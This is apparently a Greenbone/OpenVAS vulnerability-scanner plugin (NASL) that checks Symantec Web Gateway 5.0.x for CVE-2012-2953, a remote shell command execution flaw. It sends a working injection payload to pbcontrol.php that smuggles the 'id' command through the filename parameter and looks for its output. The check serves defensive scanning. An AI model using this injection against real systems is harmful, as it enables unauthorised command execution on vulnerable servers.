Symantec Web Gateway Remote Shell Command Execution Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:symantec:web_gateway";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103527");
  script_cve_id("CVE-2012-2953");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_version("2023-07-25T05:05:58+0000");

  script_name("Symantec Web Gateway Remote Shell Command Execution Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/54426");

  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-07-26 10:16:05 +0200 (Thu, 26 Jul 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("gb_symantec_web_gateway_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("symantec_web_gateway/installed");

  script_tag(name:"solution", value:"Updates are available. Please see the reference for more details.");
  script_tag(name:"summary", value:"Symantec Web Gateway is prone to a vulnerability that can allow an
attacker to execute arbitrary commands.");

  script_tag(name:"impact", value:"Successful exploits will result in the execution of arbitrary attack-
supplied commands in the context of the affected application.");

  script_tag(name:"affected", value:"Symantec Web Gateway versions 5.0.x.x are vulnerable.");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);

cmd = 'id';

url = dir + '/spywall/pbcontrol.php?filename=VT-Test%22%3b' + cmd + '%3b%22&stage=0';

if(http_vuln_check(port:port, url:url,pattern:"uid=[0-9]+.*gid=[0-9]+")) {
  security_message(port:port);
  exit(0);
}

exit(0);